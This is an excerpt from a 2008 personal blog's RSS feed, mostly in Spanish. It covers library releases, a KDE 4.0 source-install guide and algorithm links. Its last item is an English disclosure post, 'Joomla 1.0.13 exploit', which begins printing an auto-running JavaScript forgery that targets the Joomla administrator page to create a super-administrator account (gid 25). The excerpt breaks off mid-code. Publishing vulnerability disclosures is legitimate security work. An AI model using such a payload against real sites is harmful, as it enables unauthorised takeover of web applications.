                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/16/meteora-0-4</guid>
        <link>http://xiam.menteslibres.org/blog/view/16/meteora-0-4</link>
        <description>&#x3C;p&#x3E;En 
&#x3C;a  href=&#x22;http://astrata.com.mx&#x22;&#x3E;
              Astrata Software
&#x3C;/a&#x3E;
 acabamos de liberar 
&#x3C;a  href=&#x22;http://meteora.astrata.com.mx/blog/view/2/meteora-0-4&#x22;&#x3E;
              Meteora 0.4
&#x3C;/a&#x3E;
, es uno de nuestros proyectos Open Source que es base de muchos desarrollos que hacemos.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Además de solución de bugs, las nuevas 
&#x3C;i&#x3E;
              features
&#x3C;/i&#x3E;
 que tiene son:
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;ul&#x3E;
                
  &#x3C;li&#x3E;
                                
    &#x3C;b&#x3E;
                              Resolución automática de dependencias                
    &#x3C;/b&#x3E;
                    . De esta forma sólo cargas los scripts que necesitas, sin preocuparte por saber qué depende de qué.        
  &#x3C;/li&#x3E;
                
  &#x3C;li&#x3E;
                    Incluye                 
    &#x3C;b&#x3E;
                              MooTools 1.11                
    &#x3C;/b&#x3E;
                     completo, así todos los scripts que antes usaban MooTools podrán usarse también con Meteora.        
  &#x3C;/li&#x3E;
                
  &#x3C;li&#x3E;
                                
    &#x3C;b&#x3E;
                              Mejoras visuales                
    &#x3C;/b&#x3E;
                     en la interfaz.        
  &#x3C;/li&#x3E;
                
  &#x3C;li&#x3E;
                    Mejora de                 
    &#x3C;b&#x3E;
                              compatibilidad                
    &#x3C;/b&#x3E;
                     con Firefox, IE6, IE7, Safari y Opera.        
  &#x3C;/li&#x3E;
                
  &#x3C;li&#x3E;
                    Mayor                 
    &#x3C;b&#x3E;
                              velocidad                
    &#x3C;/b&#x3E;
                     en varios controles.                
    &#x3C;/p&#x3E;
&#x3C;p&#x3E;
                        
  &#x3C;/li&#x3E;
                
  &#x3C;li&#x3E;
                    Mejoras en                 
    &#x3C;b&#x3E;
                              documentación                
    &#x3C;/b&#x3E;
                     y ejemplos.        
  &#x3C;/li&#x3E;
                
  &#x3C;li&#x3E;
                    Facilidades para                 
    &#x3C;b&#x3E;
                              compresión                
    &#x3C;/b&#x3E;
                     de scripts dentro del core.        
  &#x3C;/li&#x3E;
&#x3C;/ul&#x3E;
&#x3C;div style=&#x22;text-align: center&#x22;&#x3E;
    
  &#x3C;object width=&#x22;320&#x22; height=&#x22;240&#x22;&#x3E;
        
    &#x3C;param name=&#x22;movie&#x22; value=&#x22;http://meteora.astrata.com.mx/media/video/flvplayer.swf?autostart=true&#x26;allowfullscreen=false&#x26;repeat=true&#x26;file=/media/video/demo.flv&#x26;displayheight=320&#x22; /&#x3E;
    &#x3C;/param&#x3E;
        
    &#x3C;param name=&#x22;wmode&#x22; value=&#x22;transparent&#x22; /&#x3E;
    &#x3C;/param&#x3E;
        
    &#x3C;embed  src=&#x22;http://meteora.astrata.com.mx/media/video/flvplayer.swf?autostart=true&#x26;allowfullscreen=false&#x26;repeat=true&#x26;file=/media/video/demo.flv&#x26;displayheight=320&#x22; type=&#x22;application/x-shockwave-flash&#x22; wmode=&#x22;transparent&#x22; width=&#x22;320&#x22; height=&#x22;240&#x22; quality=&#x22;high&#x22; /&#x3E;
          
    &#x3C;/embed&#x3E;
      
  &#x3C;/object&#x3E;
&#x3C;/div&#x3E;
      En 
&#x3C;a  href=&#x22;http://astrata.com.mx&#x22;&#x3E;
          Astrata Software
&#x3C;/a&#x3E;
 nos dedicamos a resolver problemas.      
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Tue, 26 Feb 2008 17:19:38 -0800</pubDate>
      </item>
            <item>
        <title>TextMotion 1.0</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/15/textmotion-1-0</guid>
        <link>http://xiam.menteslibres.org/blog/view/15/textmotion-1-0</link>
        <description>&#x3C;p&#x3E;Me da gusto anunciar que ya (por fin) tenemos a descarga TextMotion. ¡La primera versión pública ya puede 
&#x3C;a  href=&#x22;http://code.google.com/p/textmotion/downloads/list&#x22;&#x3E;
    descargarse
&#x3C;/a&#x3E;
 y usarse sin mayores complicaciones!
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
El proyecto está hospedado en 
&#x3C;a  href=&#x22;http://code.google.com/p/textmotion/&#x22;&#x3E;
    Google Code
&#x3C;/a&#x3E;
, y éste me ha gustado mucho más que el anterior SourceForge.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
La página donde podemos ver los 
&#x3C;a  href=&#x22;http://textmotion.org/gallery/view/1/screenshots&#x22;&#x3E;
    screenshots
&#x3C;/a&#x3E;
, la 
&#x3C;a  href=&#x22;http://code.google.com/p/textmotion/&#x22;&#x3E;
    descarga
&#x3C;/a&#x3E;
 y una 
&#x3C;a  href=&#x22;http://textmotion.org/pages/how-to-install&#x22;&#x3E;
    referencia de instalación
&#x3C;/a&#x3E;
 es 
&#x3C;a  href=&#x22;http://textmotion.org&#x22;&#x3E;
    textmotion.org
&#x3C;/a&#x3E;
.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Fueron varios meses de desarrollo nocturno, fue MUY cansado, pero es una satisfacción muy grande poder ver algo que cuesta tanto trabajo ejecuta las cosas como fue pensado (o a unos 
&#x3C;a  href=&#x22;http://code.google.com/p/textmotion/issues/list&#x22;&#x3E;
    bugs imprevistos
&#x3C;/a&#x3E;
 de distancia). 
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
No he cumplido todas las cosas que tenía en mente (no aún) pero sí las principales del plan maestro ;), el código documentado na'más no se me da, me gusta resolver problemas pero me desespera (y cuesta) documentar mientras tengo una idea revoloteando. Creo que eso puede esperar, el porcentaje de personas que mira el código es muy reducido en comparación con los usuarios finales (lo siento, he estado viendo muchas gráficas últimamente) y bueno, varios consejos que he recibido los he aplicado, he tratado de ponerme en el lugar de la persona que está detrás del otro lado de la pantalla, en vez de ver las cosas como programador.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Tengo muchas ganas de escuchar críticas y opiniones, como la de 
&#x3C;a  href=&#x22;http://g30rg3x.com/&#x22;&#x3E;
    g30rg3x
&#x3C;/a&#x3E;
 que ya se apuntó para hacer una revisión de los aspectos técnicos (velocidad, uso de recursos, limpieza de código, etc) gracias por el esfuerzo y veamos como termina.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Gracias también a las personas que han colaborado directa o indirectamente con el proyecto, sin el apoyo de terceros hace tiempo que lo hubiera dejado, me he divertido mucho.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Tue, 29 Jan 2008 19:32:39 -0800</pubDate>
      </item>
            <item>
        <title>Instalación de KDE 4.0 y screenshots</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/13/instalacion-de-kde-4-0-y-screenshots</guid>
        <link>http://xiam.menteslibres.org/blog/view/13/instalacion-de-kde-4-0-y-screenshots</link>
        <description>&#x3C;p&#x3E;Ayer comencé a instalar KDE4 y hoy amanecí con sistema :-), ya lo había intentado con las 
&#x3C;a  href=&#x22;http://kde.gentoo.org/&#x22;&#x3E;
        intrucciones de gentoo
&#x3C;/a&#x3E;
 hace algunas semanas pero no era usable, crasheaba demasiado. Temiendo lo mismo de otra instalación con ebuils tuve que hacerlo “a mano”.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;h5&#x3E;&#x3C;/p&#x3E;
&#x3C;p&#x3E;
      &#x3C;/h5&#x3E;&#x3C;h5&#x3E;Instalación para cualquier UNIX
&#x3C;/h5&#x3E;

En realidad es sencillo, 
&#x3C;a  href=&#x22;http://www.cmake.org/HTML/Index.html&#x22;&#x3E;
        cmake
&#x3C;/a&#x3E;
 facilita las cosas de manera sorprendente. Para instalar desde source para 
&#x3C;span style=&#x22;font-weight: bold&#x22;&#x3E;
        cualquier disteibución
&#x3C;/span&#x3E;
 sólo hay que escoger algún lugar de descarga, por ejemplo 
&#x3C;a  href=&#x22;ftp://ftp.kde.org/pub/kde/stable/4.0.0/src/&#x22;&#x3E;
        el ftp principal de KDE
&#x3C;/a&#x3E;
. Y bajamos algunos fuentes:
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;ul&#x3E;
            
  &#x3C;li&#x3E;
                kdelibs      
  &#x3C;/li&#x3E;
            
  &#x3C;li&#x3E;
                kdepim      
  &#x3C;/li&#x3E;
            
  &#x3C;li&#x3E;
                kdebase      
  &#x3C;/li&#x3E;
            
  &#x3C;li&#x3E;
                kdebase-runtime      
  &#x3C;/li&#x3E;
            
  &#x3C;li&#x3E;
                kdebase-workspace      
  &#x3C;/li&#x3E;
            
  &#x3C;li&#x3E;
                kdegraphics      
  &#x3C;/li&#x3E;
            
  &#x3C;li&#x3E;
                kdemultimedia      
  &#x3C;/li&#x3E;
            
  &#x3C;li&#x3E;
                kdenetwork      
  &#x3C;/li&#x3E;
            
  &#x3C;li&#x3E;
                kdeutils      
  &#x3C;/li&#x3E;
            
  &#x3C;li&#x3E;
                kdeadmin      
  &#x3C;/li&#x3E;
&#x3C;/ul&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
En ese órden (para desempaquetar uno y comenzar a compilar mientras el otro termina de copiarse), los demás fuentes son opcionales. Si tienes una versión anterior de KDE4 debes quitarla, ¡haz un backup de tus .kde*!.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Si estás utilizando KDE3 en Gentoo y lo instalaste con portage, puedes usar el programa quickpkg para hacer un binario de tu instalación de KDE3 actual y regresar a ella sin tener que recompilar si algo malo sucede.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Al momento de instalar estaba usando XFCE, KDE lo había desinstalado hace un tiempo. Si no tienes un desktop alternativo podrías probar XFCE, pequeño y muy rápido.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Bien, el proceso de instalación es muy sencillo, comenzamos con kdelibs que requiere de un directorio separado para construir (es el único que lo requiere):
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;&#x3C;div class=&#x22;bash&#x22;&#x3E;&#x3C;span style=&#x22;color: #7a0874; font-weight: bold;&#x22;&#x3E;cd&#x3C;/span&#x3E; /usr/src/kde/kdelibs&#x3C;span style=&#x22;color: #000000;&#x22;&#x3E;-4.0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #000000;&#x22;&#x3E;.0&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #c20cb9; font-weight: bold;&#x22;&#x3E;mkdir&#x3C;/span&#x3E; build&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #7a0874; font-weight: bold;&#x22;&#x3E;cd&#x3C;/span&#x3E; build&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
cmake ..&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #c20cb9; font-weight: bold;&#x22;&#x3E;make&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #c20cb9; font-weight: bold;&#x22;&#x3E;make&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #c20cb9; font-weight: bold;&#x22;&#x3E;install&#x3C;/span&#x3E;&#x3C;/div&#x3E;&#x3C;/span&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Aquí debes estar pendiente de la salida de cmake, como yo ya había instalado KDE4 con portage se habían incluído varias dependencias, es posible que tu sistema no las tenga y necesites instalarlas a mano ya sea desde la URL del proyecto o desenmascarando algo en portage. Me pasó con un par de paquetes que necesitaba actualizar.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Los paquetes siguientes son igual de sencillos para construir y van en el orden en que los listé:
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;&#x3C;div class=&#x22;bash&#x22;&#x3E;&#x3C;span style=&#x22;color: #7a0874; font-weight: bold;&#x22;&#x3E;cd&#x3C;/span&#x3E; /usr/src/kde/kdepimlibs&#x3C;span style=&#x22;color: #000000;&#x22;&#x3E;-4.0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #000000;&#x22;&#x3E;.0&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
cmake .&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #c20cb9; font-weight: bold;&#x22;&#x3E;make&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;span style=&#x22;color: #c20cb9; font-weight: bold;&#x22;&#x3E;make&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #c20cb9; font-weight: bold;&#x22;&#x3E;install&#x3C;/span&#x3E;&#x3C;/div&#x3E;&#x3C;/span&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
A partir de haber instalado kdebase-4.0.0 puedes comenzar a instalar en paralelo los paquetes que faltan.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Una vez que todo termine puedes cambiar manualmente según tu distribución a que use KDM (o seguir usando tu Display Manager actual), si no usas Display Manager puedes utilizar la línea siguiente en ~/.xsession
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;&#x3C;div class=&#x22;bash&#x22;&#x3E;&#x3C;span style=&#x22;color: #7a0874; font-weight: bold;&#x22;&#x3E;exec&#x3C;/span&#x3E; startkde&#x3C;/div&#x3E;&#x3C;/span&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
En Gentoo puedes cambiar el Display Manager modificando la variable DISPLAYMANAGER por “kdm” en /etc/rc.conf/xdm.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Ahora borra ~/.kde*, cuidado con tu backup (en realidad espero que esto no sea necesario, yo tenía restos de una instalación antigüa y no me dolía perderlos), reinicia xorg (Ctrl+Alt+Backspace o /etc/init.d/xdm restart).
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Y Bienvenido a KDE4 &#x3C;img  src=&#x22;http://xiam.menteslibres.org/media/emoticons/default/smile.png&#x22; width=&#x22;16&#x22; height=&#x22;16&#x22; /&#x3E; &#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;h5&#x3E;
      Los puntos que me gustaron:
&#x3C;/h5&#x3E;

&#x3C;ul&#x3E;
  &#x3C;li&#x3E;
    Programas nuevos, como okular, me ahorran el abrir una terminal y usar display (display era la forma mas rápida de abrir imágenes).
  &#x3C;/li&#x3E;
  &#x3C;li&#x3E;
    Dophin está chingón!
  &#x3C;/li&#x3E;
  &#x3C;li&#x3E;
    Sigue siendo rápido.
  &#x3C;/li&#x3E;
  &#x3C;li&#x3E;
    El nuevo menú está chido, no sustituye a un Alt+F2 pero apantalla.
  &#x3C;/li&#x3E;
  &#x3C;li&#x3E;
    Algunos bugs pequeños de kwin.
  &#x3C;/li&#x3E;
&#x3C;/ul&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;h5&#x3E;
      Los puntos que no me gustaron:
&#x3C;/h5&#x3E;

&#x3C;ul&#x3E;
  &#x3C;li&#x3E;
    Aun no es estable AmaroK 2.0 y el 1.4.8 no se puede instalar con libs de KDE4 (estoy utilizando JuK, que venía con kdemultimedia y me gusta mientras reproduzca música).
  &#x3C;/li&#x3E;
  &#x3C;li&#x3E;
    Los shortcuts nuevos están raros, son diferentes a los de GNOME y XFCE.
  &#x3C;/li&#x3E;
  &#x3C;li&#x3E;
    El copy-paste no funciona para algunas aplicaciones.
  &#x3C;/li&#x3E;
  &#x3C;li&#x3E;
    La usabilidad de Kopete, sigue siendo complicado.
  &#x3C;/li&#x3E;
&#x3C;/ul&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Las aplicaciones GTK parecen de Windows 95, ésto no es “culpa” de KDE. Antes era posible cambiarla desde el Settings Manager, pero a los devel se les pasó y lo debemos hacer manual creando un ~/gtkrc-2.0:
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;gtk-font-name&#x26;nbsp;=&#x26;nbsp;&#x26;quot;Trebuchet&#x26;nbsp;MS&#x26;nbsp;9&#x26;quot;&#x3C;br /&#x3E;&#x3C;br /&#x3E;&#x3C;br /&#x3E;include&#x26;nbsp;&#x26;quot;/usr/share/themes/Clearlooks/gtk-2.0/gtkrc&#x26;quot;&#x3C;br /&#x3E;&#x3C;br /&#x3E;&#x3C;br /&#x3E;gtk-icon-theme-name&#x26;nbsp;=&#x26;nbsp;&#x26;quot;Oxygen-Gnome&#x26;quot;&#x3C;/span&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;h5&#x3E;
      Screenshots
&#x3C;/h5&#x3E;
&#x3C;div style=&#x22;text-align: center&#x22;&#x3E;
    
  &#x3C;div class=&#x22;block-center&#x22;&#x3E;
                        
    &#x3C;div class=&#x22;photo&#x22;&#x3E;
                                    
      &#x3C;a  href=&#x22;http://xiam.menteslibres.org/data/uploads/snapshot1.png&#x22;&#x3E;
                                                
        &#x3C;img  src=&#x22;http://xiam.menteslibres.org/data/uploads/300_snapshot1.png&#x22; alt=&#x22;300_snapshot1.png&#x22; height=&#x22;225&#x22; width=&#x22;300&#x22; /&#x3E;
                                                
        &#x3C;span class=&#x22;photo-description&#x22;&#x3E;
                                        Settings Manager                              
          &#x3C;/p&#x3E;
&#x3C;p&#x3E;
                                                      
        &#x3C;/span&#x3E;
                                          
      &#x3C;/a&#x3E;
                              
    &#x3C;/div&#x3E;
                  
  &#x3C;/div&#x3E;
            
  &#x3C;/p&#x3E;
&#x3C;p&#x3E;
            
  &#x3C;div class=&#x22;block-center&#x22;&#x3E;
                        
    &#x3C;div class=&#x22;photo&#x22;&#x3E;
                                    
      &#x3C;a  href=&#x22;http://xiam.menteslibres.org/data/uploads/snapshot2.png&#x22;&#x3E;
                                                
        &#x3C;img  src=&#x22;http://xiam.menteslibres.org/data/uploads/300_snapshot2.png&#x22; alt=&#x22;300_snapshot2.png&#x22; height=&#x22;225&#x22; width=&#x22;300&#x22; /&#x3E;
                                                
        &#x3C;span class=&#x22;photo-description&#x22;&#x3E;
                                        Some widgets                              
          &#x3C;/p&#x3E;
&#x3C;p&#x3E;
                                                      
        &#x3C;/span&#x3E;
                                          
      &#x3C;/a&#x3E;
                              
    &#x3C;/div&#x3E;
                  
  &#x3C;/div&#x3E;
            
  &#x3C;/p&#x3E;
&#x3C;p&#x3E;
            
  &#x3C;div class=&#x22;block-center&#x22;&#x3E;
                        
    &#x3C;div class=&#x22;photo&#x22;&#x3E;
                                    
      &#x3C;a  href=&#x22;http://xiam.menteslibres.org/data/uploads/snapshot3.png&#x22;&#x3E;
                                                
        &#x3C;img  src=&#x22;http://xiam.menteslibres.org/data/uploads/300_snapshot3.png&#x22; alt=&#x22;300_snapshot3.png&#x22; height=&#x22;225&#x22; width=&#x22;300&#x22; /&#x3E;
                                                
        &#x3C;span class=&#x22;photo-description&#x22;&#x3E;
                                        New menu                              
          &#x3C;/p&#x3E;
&#x3C;p&#x3E;
                                                      
        &#x3C;/span&#x3E;
                                          
      &#x3C;/a&#x3E;
                              
    &#x3C;/div&#x3E;
                  
  &#x3C;/div&#x3E;
            
  &#x3C;/p&#x3E;
&#x3C;p&#x3E;
            
  &#x3C;div class=&#x22;block-center&#x22;&#x3E;
                        
    &#x3C;div class=&#x22;photo&#x22;&#x3E;
                                    
      &#x3C;a  href=&#x22;http://xiam.menteslibres.org/data/uploads/snapshot4.png&#x22;&#x3E;
                                                
        &#x3C;img  src=&#x22;http://xiam.menteslibres.org/data/uploads/300_snapshot4.png&#x22; alt=&#x22;300_snapshot4.png&#x22; height=&#x22;225&#x22; width=&#x22;300&#x22; /&#x3E;
                                                
        &#x3C;span class=&#x22;photo-description&#x22;&#x3E;
                                        okular                        
        &#x3C;/span&#x3E;
                                          
      &#x3C;/a&#x3E;
                              
    &#x3C;/div&#x3E;
                  
  &#x3C;/div&#x3E;
            
  &#x3C;/p&#x3E;
&#x3C;p&#x3E;
            
  &#x3C;div class=&#x22;block-center&#x22;&#x3E;
                        
    &#x3C;div class=&#x22;photo&#x22;&#x3E;
                                    
      &#x3C;a  href=&#x22;http://xiam.menteslibres.org/data/uploads/snapshot5.png&#x22;&#x3E;
                                                
        &#x3C;img  src=&#x22;http://xiam.menteslibres.org/data/uploads/300_snapshot5.png&#x22; alt=&#x22;300_snapshot5.png&#x22; height=&#x22;225&#x22; width=&#x22;300&#x22; /&#x3E;
                                                
        &#x3C;span class=&#x22;photo-description&#x22;&#x3E;
                                        Kopete is still ugly                              
          &#x3C;/p&#x3E;
&#x3C;p&#x3E;
                                                      
        &#x3C;/span&#x3E;
                                          
      &#x3C;/a&#x3E;
                              
    &#x3C;/div&#x3E;
                  
  &#x3C;/div&#x3E;
            
  &#x3C;/p&#x3E;
&#x3C;p&#x3E;
            
  &#x3C;div class=&#x22;block-center&#x22;&#x3E;
                        
    &#x3C;div class=&#x22;photo&#x22;&#x3E;
                                    
      &#x3C;a  href=&#x22;http://xiam.menteslibres.org/data/uploads/snapshot6.png&#x22;&#x3E;
                                                
        &#x3C;img  src=&#x22;http://xiam.menteslibres.org/data/uploads/300_snapshot6.png&#x22; alt=&#x22;300_snapshot6.png&#x22; height=&#x22;225&#x22; width=&#x22;300&#x22; /&#x3E;
                                                
        &#x3C;span class=&#x22;photo-description&#x22;&#x3E;
                                        Kompare                              
          &#x3C;/p&#x3E;
&#x3C;p&#x3E;
                                                      
        &#x3C;/span&#x3E;
                                          
      &#x3C;/a&#x3E;
                              
    &#x3C;/div&#x3E;
                  
  &#x3C;/div&#x3E;
            
  &#x3C;/p&#x3E;
&#x3C;p&#x3E;
            
  &#x3C;div class=&#x22;block-center&#x22;&#x3E;
                        
    &#x3C;div class=&#x22;photo&#x22;&#x3E;
                                    
      &#x3C;a  href=&#x22;http://xiam.menteslibres.org/data/uploads/snapshot7.png&#x22;&#x3E;
                                                
        &#x3C;img  src=&#x22;http://xiam.menteslibres.org/data/uploads/300_snapshot7.png&#x22; alt=&#x22;300_snapshot7.png&#x22; height=&#x22;225&#x22; width=&#x22;300&#x22; /&#x3E;
                                                
        &#x3C;span class=&#x22;photo-description&#x22;&#x3E;
                                        One of my most valuable friends, a terminal.                              
          &#x3C;/p&#x3E;
&#x3C;p&#x3E;
                                                      
        &#x3C;/span&#x3E;
                                          
      &#x3C;/a&#x3E;
                              
    &#x3C;/div&#x3E;
                  
  &#x3C;/div&#x3E;
          
&#x3C;/div&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Sat, 12 Jan 2008 00:04:00 -0800</pubDate>
      </item>
            <item>
        <title>Links interesantes</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/12/links-interesantes</guid>
        <link>http://xiam.menteslibres.org/blog/view/12/links-interesantes</link>
        <description>&#x3C;p&#x3E;&#x3C;a  href=&#x22;http://mononeurona.org/blog/alucard_thot/&#x22;&#x3E;
  Thot
&#x3C;/a&#x3E;
 es bastante cabrón, ha sido finalista en el concurso ACM representando a México, era estudiante de la Universidad de la Mixteca. Lo conocí hace un tiempo en un evento en Tehuacán y me pasó estos links para iluminar mi cabecita n00b:
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;ul&#x3E;
  &#x3C;li&#x3E;
    &#x3C;a  href=&#x22;http://www.comp.nus.edu.sg/%7Estevenha/myteaching/notes/index.html&#x22;&#x3E;
      Data structures and algorithms.
    &#x3C;/a&#x3E;
  &#x3C;/li&#x3E;
  &#x3C;li&#x3E;
    &#x3C;a  href=&#x22;http://www.algorithmist.com/index.php/Main_Page&#x22;&#x3E;
      Algorithmist.
    &#x3C;/a&#x3E;
  &#x3C;/li&#x3E;
&#x3C;/ul&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Y los recomiendo también. El primero está muy chido. Cuando tengo chance me pongo a leer y tratar de resolver ejercicios de acm.uva.es, algunos no les entiendo aún y veo que hay rusos que están muuuuy cabrones. Quisiera concursar antes de que se me pase la edad, pero aún no sé lo suficiente…
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;</description>
        <author>xiam.core@gmail.com (J. Carlos Nieto)</author>
                <pubDate>Thu, 10 Jan 2008 07:35:52 -0800</pubDate>
      </item>
            <item>
        <title>Joomla 1.0.13 exploit</title>
                <guid isPermaLink="true">http://xiam.menteslibres.org/blog/view/10/joomla-1-0-13-exploit</guid>
        <link>http://xiam.menteslibres.org/blog/view/10/joomla-1-0-13-exploit</link>
        <description>&#x3C;p&#x3E;Last year 
&#x3C;a  href=&#x22;http://forum.joomla.org/index.php?topic=222686.msg1041104&#x22;&#x3E;
                I announced that I found a vulnerability in the popular Joomla CMS
&#x3C;/a&#x3E;
. I contacted a developer and he told me, very professionally and quickly, that they will fix the hole and then he will let me know. The developer never contacted me again.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
Today is January 8, it's been almost 3 months and I think its time to release my exploit,  I hope the vulnerability is fixed now.
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;/p&#x3E;
&#x3C;p&#x3E;
&#x3C;span class=&#x22;code&#x22;&#x3E;&#x3C;div class=&#x22;html4strict&#x22;&#x3E;&#x3C;span style=&#x22;color: #009900;&#x22;&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;lt;script&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #000066;&#x22;&#x3E;type&#x3C;/span&#x3E;=&#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;text/javascript&#x26;quot;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #000000; font-weight: bold;&#x22;&#x3E;&#x26;gt;&#x3C;/span&#x3E;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
window.onload = function() {&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; var url = &#x26;quot;http://joomlasite.com/joomla/administrator/index2.php&#x26;quot;;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; var gid = 25;&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; var user = 'xiam';&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; var pass = 'pass';&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; var email = 'xiamkong@yahoo.com.mx';&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; var param = {&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; name: user,&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; username: user,&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; email: email,&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x3C;br /&#x3E;
